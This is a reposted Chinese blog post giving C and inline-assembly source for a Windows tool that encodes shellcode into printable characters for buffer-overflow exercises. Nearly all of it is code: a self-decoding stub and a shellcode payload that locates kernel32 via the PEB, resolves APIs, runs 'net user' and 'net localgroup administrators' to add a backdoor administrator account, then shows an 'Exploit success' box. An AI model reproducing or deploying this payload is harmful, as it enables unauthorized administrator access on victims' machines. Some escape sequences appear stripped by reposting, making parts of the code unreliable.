最近做关于溢出的题目
有的题目,生成的shellcode由于含有特殊字符,不方便让程序读取
于是将之前生成shellcode的加密解密部分稍微修改了一下
思路大概如此,以后需要用到什么样的shellcode自己修改加密解密程序生成就是了
复制代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
6141 #include <stdio.h> 2 #include <string.h> 3 #include <stdlib.h> 4 #include <windows.h> 5 6 //#define Debug 1; 7 8 #define Legal_Begin 0x20 //从0x20开始的可以打印 9 //其中Legal_Begin用作特殊标记 10 #define Legal_End 0x7E //到0x7E结束 11 12 #define Enc_key 0x7A //编码密钥 13 #define FLAG_AVOID 0x30 //需要回避的字符的标记 14 15 #define PROC_BEGIN __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 16 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 17 #define PROC_END PROC_BEGIN 18 #define BEGINSTRLEN 0x08 //开始字符串长度 19 #define ENDSTRLEN 0x08 //结束标记字符的长度 20 #define nop_CODE 0x90 //填充字符 21 22 #define MAX_Enc_Len 0x400 //加密代码的最大长度 1024足够? 23 #define MAX_Sh_Len 0x2000 //hellCode的最大长度 8192足够? 24 25 #define MY_SUCCEED 0 26 #define MY_NO_BEGIN 1 27 #define MY_NO_END 2 28 #define MY_MALLOC_ERR 3 29 30 #define MY_AVOID 0 31 #define MY_NO_AVOID 1 32 33 void Dcrypt(void); 34 void Shellcode(void); 35 36 //将函数func的代码放到buffer指向的内存中 37 //其中buffer指向的内存是动态分配的 38 //func_len指向buffer的长度 39 int get_func_code(char** buffer,//存放func的代码 40 char* fun, //函数首地址 41 int* func_len //指向buffer长度 42 ); 43 44 //打印对应的错误信息 45 void print_iRet(int iRet, char* func_name); 46 47 int is_legal(char ch);//判断一个字符是否要回避 48 49 int Encrypt_Shell(char** buffer,//存放加密过后的字节码 50 char* fun, //原Shellcode的字节码 51 int old_len,//原Shellcode的长度 52 int* new_len //加密后字节码的长度 53 ); 54 void my_print_Shellcode(char* Shellcode, int len);//打印最终的Shellcode 55 56 int main(int argc, char* argv[]) 57 { 58 //取得加密函数字节码 59 int Dcrypt_len = 0; 60 char* Dcrypt_buffer = NULL; 61 int iRet = get_func_code(&Dcrypt_buffer, (char*)Dcrypt, &Dcrypt_len); 62 print_iRet(iRet, "Dcrypt字节码"); 63 64 //取得Shellcode字节码 65 int Shell_len = 0; 66 char* Shell_buffer = NULL; 67 iRet = get_func_code(&Shell_buffer, (char*)Shellcode, &Shell_len); 68 print_iRet(iRet, "Shellcode原始字节码"); 69 70 //将Shellcode字节码加密 71 char* Shell_Encrypt_buffer = NULL; 72 int Shell_Encrypt_len = 0; 73 iRet = Encrypt_Shell(&Shell_Encrypt_buffer, Shell_buffer, Shell_len, &Shell_Encrypt_len); 74 print_iRet(iRet, "Shellcode加密后的字节码"); 75 76 //打印整体Shellcode的字节码 77 char* print_buffer = (char*)malloc(Dcrypt_len + Shell_Encrypt_len); 78 memcpy(print_buffer, Dcrypt_buffer, Dcrypt_len); 79 free(Dcrypt_buffer); 80 memcpy(print_buffer + Dcrypt_len, Shell_Encrypt_buffer, Shell_Encrypt_len); 81 free(Shell_buffer); 82 free(Shell_Encrypt_buffer); 83 my_print_Shellcode(print_buffer, Dcrypt_len + Shell_Encrypt_len); 84 free(print_buffer); 85 return 0; 86 } 87 88 void Dcrypt(void) 89 { 90 PROC_BEGIN 91 __asm 92 { 93 pushad 94 jmp next 95 getEncCodeAddr: 96 pop edi 97 push edi 98 pop esi 99 xor ecx,ecx 100 Decrypt_lop: 101 lodsb 102 cmp al,cl 103 jz save 104 cmp al,Legal_Begin //判断是否为特殊字符 105 jz special_char_clean 106 store: 107 stosb 108 jmp Decrypt_lop 109 special_char_clean: //这里要特殊注意一下,看指令里会不会包含特殊字符 110 lodsb 111 and al,0x0f; 112 shl al,0x4; 113 mov bl,al; 114 lodsb 115 and al,0x0f; 116 add al,bl; 117 jmp store 118 save: 119 popad 120 jmp shell 121 next: 122 call getEncCodeAddr 123 shell: 124 //其余真正加密的shellcode代码会连接在此处 125 } 126 PROC_END 127 } 128 129 void Shellcode(void) 130 { 131 PROC_BEGIN 132 #ifdef Debug 133 __asm _emit 0x1 134 __asm _emit 0x2 135 #endif 136 137 #ifndef Debug 138 139 void* hkernerl32 = NULL; 140 void* huser32 = NULL; 141 void* hmsvcrt = NULL; 142 143 void* pGetProcAddress = NULL; 144 void* pLoadLibrary = NULL; 145 void* pExitProcess = NULL; 146 void* pMessageBoxA = NULL; 147 void* psystem = NULL; 148 149 //LoadLibrary("kernel32"); 150 _asm 151 { 152 //保存寄存器 153 pushad; 154 155 //获得kernerl32基地址 156 mov eax, fs:0x30 ;PEB的地址 157 mov eax, [eax + 0x0c] ;Ldr的地址 158 mov esi, [eax + 0x1c] ;Flink地址 159 lodsd 160 mov eax, [eax + 0x08] ;eax就是kernel32.dll的地址 161 mov hkernerl32,eax; 162 163 //获得GetProcAddress地址 164 push ebp; 165 mov ebp, hkernerl32 ;kernel32.dll 基址 166 mov eax, [ebp+3Ch] ;eax = PE首部 167 mov edx,[ebp+eax+78h] 168 add edx,ebp ;edx = 引出表地址 169 mov ecx , [edx+18h] ;ecx = 输出函数的个数 170 mov ebx,[edx+20h] 171 add ebx, ebp ;ebx =函数名地址,AddressOfName 172 search: 173 dec ecx 174 mov esi,[ebx+ecx*4] 175 add esi,ebp ;依次找每个函数名称 176 ;GetProcAddress 177 mov eax,0x50746547 178 cmp [esi], eax; 'PteG' 179 jne search 180 mov eax,0x41636f72 181 cmp [esi+4],eax; 'Acor' 182 jne search 183 ;如果是GetProcA,表示找到了 184 mov ebx,[edx+24h] 185 add ebx,ebp ;ebx = 序号数组地址,AddressOf 186 mov cx,[ebx+ecx*2] ;ecx = 计算出的序号值 187 mov ebx,[edx+1Ch] 188 add ebx,ebp ;ebx=函数地址的起始位置,AddressOfFunction 189 mov eax,[ebx+ecx*4] 190 add eax,ebp ;利用序号值,得到出GetProcAddress的地址 191 pop ebp; 192 mov pGetProcAddress,eax; 193 194 //获得LoadLibraryA地址 195 //push strLoadLibrary;"LoadLibraryA" 196 call _getLoadLib 197 _emit 0x4C 198 _emit 0x6F 199 _emit 0x61 200 _emit 0x64 201 _emit 0x4C 202 _emit 0x69 203 _emit 0x62 204 _emit 0x72 205 _emit 0x61 206 _emit 0x72 207 _emit 0x79 208 _emit 0x41 209 _emit 0x0 210 //db "LoadLibraryA",0 211 _getLoadLib: 212 push hkernerl32; 213 mov eax,pGetProcAddress; 214 call eax; GetProcAddress 215 mov pLoadLibrary,eax; 216 pop eax; 217 pop eax; 平衡堆栈 218 219 //下面是自己的实验 220 //LoadLibraryA("msvcrt.dll") 221 //push strmsvcrt 222 call _getmsvcrt 223 _emit 'm' 224 _emit 's' 225 _emit 'v' 226 _emit 'c' 227 _emit 'r' 228 _emit 't' 229 _emit '.' 230 _emit 'd' 231 _emit 'l' 232 _emit 'l' 233 _emit '' 234 _getmsvcrt: 235 mov eax,pLoadLibrary; 236 call eax; 237 mov hmsvcrt, eax; 238 pop eax; 239 240 //push strsystem 241 call _getsystem 242 _emit 's' 243 _emit 'y' 244 _emit 's' 245 _emit 't' 246 _emit 'e' 247 _emit 'm' 248 _emit '' 249 _getsystem: 250 push hmsvcrt; 251 mov eax,pGetProcAddress; 252 call eax; 253 mov psystem,eax; 254 pop eax; 255 pop eax; 平衡堆栈 256 257 call _get_add_user 258 _emit 'n' 259 _emit 'e' 260 _emit 't' 261 _emit ' ' 262 _emit 'u' 263 _emit 's' 264 _emit 'e' 265 _emit 'r' 266 _emit ' ' 267 _emit 'x' 268 _emit 'd' 269 _emit '_' 270 _emit 'h' 271 _emit 'a' 272 _emit 'c' 273 _emit 'k' 274 _emit ' ' 275 _emit 's' 276 _emit 'u' 277 _emit 'c' 278 _emit 'c' 279 _emit 'e' 280 _emit 's' 281 _emit 's' 282 _emit ' ' 283 _emit '/' 284 _emit 'a' 285 _emit 'd' 286 _emit 'd' 287 _emit '' 288 _get_add_user: 289 mov eax,psystem; 290 call eax; 291 pop eax; 292 call _get_adm_group 293 _emit 'n' 294 _emit 'e' 295 _emit 't' 296 _emit ' ' 297 _emit 'l' 298 _emit 'o' 299 _emit 'c' 300 _emit 'a' 301 _emit 'l' 302 _emit 'g' 303 _emit 'r' 304 _emit 'o' 305 _emit 'u' 306 _emit 'p' 307 _emit ' ' 308 _emit 'a' 309 _emit 'd' 310 _emit 'm' 311 _emit 'i' 312 _emit 'n' 313 _emit 'i' 314 _emit 's' 315 _emit 't' 316 _emit 'r' 317 _emit 'a' 318 _emit 't' 319 _emit 'o' 320 _emit 'r' 321 _emit 's' 322 _emit ' ' 323 _emit 'x' 324 _emit 'd' 325 _emit '_' 326 _emit 'h' 327 _emit 'a' 328 _emit 'c' 329 _emit 'k' 330 _emit ' ' 331 _emit '/' 332 _emit 'a' 333 _emit 'd' 334 _emit 'd' 335 _emit '' 336 _get_adm_group: 337 mov eax,psystem; 338 call eax; 339 pop eax; 340 341 call _getExitProcess 342 _emit 'E' 343 _emit 'x' 344 _emit 'i' 345 _emit 't' 346 _emit 'P' 347 _emit 'r' 348 _emit 'o' 349 _emit 'c' 350 _emit 'e' 351 _emit 's' 352 _emit 's' 353 _emit '' 354 _getExitProcess: 355 push hkernerl32; 356 mov eax,pGetProcAddress; 357 call eax; GetProcAddress 358 mov pExitProcess,eax; 359 pop eax; 360 pop eax; 平衡堆栈 361 362 //MessageBoxA(NULL, "你被溢出了!", "xiaoma", MB_OK) 363 //push struser32; 364 call _getUser 365 _emit 0x75 366 _emit 0x73 367 _emit 0x65 368 _emit 0x72 369 _emit 0x33 370 _emit 0x32 371 _emit 0x2E 372 _emit 0x64 373 _emit 0x6C 374 _emit 0x6C 375 _emit 0x0 376 _getUser: 377 mov eax,pLoadLibrary; 378 call eax; 379 mov huser32,eax; 380 pop eax; 381 382 //push strMessageBoxA;"MessageBoxA" 383 call _getMessage 384 _emit 0x4D 385 _emit 0x65 386 _emit 0x73 387 _emit 0x73 388 _emit 0x61 389 _emit 0x67 390 _emit 0x65 391 _emit 0x42 392 _emit 0x6F 393 _emit 0x78 394 _emit 0x41 395 _emit 0x0 396 _getMessage: 397 push huser32; 398 mov eax,pGetProcAddress; 399 call eax; GetProcAddress 400 mov pMessageBoxA,eax; 401 pop eax; 402 pop eax; 平衡堆栈 403 404 call _getCaption 405 _emit 'O' 406 _emit 'v' 407 _emit 'e' 408 _emit 'r' 409 _emit 'f' 410 _emit 'l' 411 _emit 'o' 412 _emit 'w' 413 _emit '' 414 _getCaption: 415 pop edi; 416 call _getText 417 _emit 'E' 418 _emit 'x' 419 _emit 'p' 420 _emit 'l' 421 _emit 'o' 422 _emit 'i' 423 _emit 't' 424 _emit ' ' 425 _emit 's' 426 _emit 'u' 427 _emit 'c' 428 _emit 'e' 429 _emit 's' 430 _emit 's' 431 _emit '' 432 _getText: 433 pop esi; 434 push MB_OK; 435 push edi; 436 push esi; 437 push 0h; 438 mov eax,pMessageBoxA; 439 call eax; 440 pop eax; 441 pop eax; 442 pop eax; 443 pop eax; 444 445 push 0x0; 446 mov eax,pExitProcess; 447 call eax; 448 pop eax; 449 450 //恢复寄存器 451 popad; 452 } 453 #endif 454 PROC_END 455 } 456 457 int Encrypt_Shell(char** buffer, char* fun, int old_len, int* new_len) 458 { 459 *buffer = (char*)malloc(3 * old_len); 460 if (*buffer == NULL) 461 { 462 return MY_MALLOC_ERR; 463 } 464 int i = 0, k = 0; 465 char ch = 0; 466 for (i = 0; i < old_len; i++) 467 { 468 ch = (*(fun + i)); 469 if ( is_legal(ch) == MY_AVOID )//如果某个字符需要回避 470 { 471 *(*buffer + k) = Legal_Begin; 472 k++; 473 *(*buffer + k) = 0x40 + (((unsigned char)(ch&0xf0)) >> 4); 474 k++; 475 *(*buffer + k) = 0x40 + (ch&0x0f); 476 k++; 477 } 478 else 479 { 480 *(*buffer + k) = ch; 481 k++; 482 } 483 } 484 *new_len = k; 485 return(MY_SUCCEED); 486 } 487 488 int get_func_code(char** buffer, char* fun, int* func_len) 489 { 490 //返回码: 491 int i = 0; 492 char* func_begin = fun; 493 char* func_end = NULL; 494 char* fnbgn_str="x90x90x90x90x90x90x90x90x90"; //标记开始的字符串 495 char* fnend_str="x90x90x90x90x90x90x90x90x90"; //标记结束的字符串 496 497 //处理DEBUG版本里面的跳转表 498 /*char ch = *func_begin; 499 char temp = 0xE9;*/ 500 if (*func_begin == (char)0xE9) 501 { 502 func_begin++; 503 i = *(int*)func_begin; 504 func_begin += (i+4); 505 } 506 507 //通过寻找开始的标记 508 //找到解码部分的开头地址 509 for (i = 0; i < MAX_Enc_Len; i++) 510 { 511 if (memcmp(func_begin+i, fnbgn_str, BEGINSTRLEN) == 0) 512 { 513 break; 514 } 515 } 516 if (i < MAX_Enc_Len) 517 { 518 func_begin += (i + BEGINSTRLEN);//定位到开始部分的代码 519 } 520 else 521 { 522 return MY_NO_BEGIN; //没找到开始的标记 523 } 524 525 //通过寻找结尾的标记 526 //找到解码部分的结束地址 527 i = 0; 528 for (func_end = func_begin; i < MAX_Enc_Len; i++) 529 { 530 if (memcmp(func_end+i, fnend_str, ENDSTRLEN) == 0) 531 { 532 break; 533 } 534 } 535 if (i < MAX_Enc_Len) 536 { 537 func_end += i;//定位到结尾处的代码 538 } 539 else 540 { 541 return MY_NO_END;//没找到结尾的标记 542 } 543 544 *func_len = func_end - func_begin;//解码部分代码长度 545 546 *buffer = (char*)malloc(*func_len);//分配地址储存解码的代码 547 if (*buffer == NULL) 548 { 549 return MY_MALLOC_ERR; 550 } 551 memcpy(*buffer, func_begin, *func_len); 552 553 return MY_SUCCEED; 554 } 555 556 void print_iRet(int iRet, char* func_name) 557 { 558 switch (iRet) 559 { 560 case MY_SUCCEED: 561 printf("获取%s成功!n",func_name); 562 break; 563 case MY_NO_BEGIN: 564 printf("无法找到%s的头部标记!n程序退出n",func_name); 565 exit(1); 566 break;//不会执行到 567 case MY_NO_END: 568 printf("无法找到%s的尾部标记!n程序退出n",func_name); 569 exit(1); 570 break;//不会执行到 571 case MY_MALLOC_ERR: 572 printf("在获取%s字节码的时候分配内存错误!n程序退出n",func_name); 573 exit(1); 574 break; 575 default: 576 puts("未知的返回码!n程序退出n"); 577 exit(1); 578 break; 579 } 580 } 581 582 int is_legal(char ch) 583 { 584 585 if (ch < Legal_Begin+1 || ch > Legal_End) 586 { 587 return MY_AVOID;//需要替换 588 } 589 return MY_NO_AVOID; //不需要替换 590 } 591 592 void my_print_Shellcode(char* Shellcode, int len) 593 { 594 int i = 0, k = 0; 595 for (i = 0; i < len; i++) 596 { 597 if (k == 0) 598 { 599 putchar('"'); 600 } 601 printf("\x%.2X", (unsigned char)Shellcode[i]); 602 k++; 603 if (k == 16) 604 { 605 putchar('"'); 606 putchar('n'); 607 k = 0; 608 } 609 } 610 if (k != 16) 611 { 612 puts(""n"); 613 } 614 }
转载于:https://www.cnblogs.com/02xiaoma/archive/2012/10/07/2714567.html
最后
以上就是小巧大碗最近收集整理的关于编写便于打印的Shellcode的全部内容,更多相关编写便于打印内容请搜索靠谱客的其他文章。
本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
发表评论 取消回复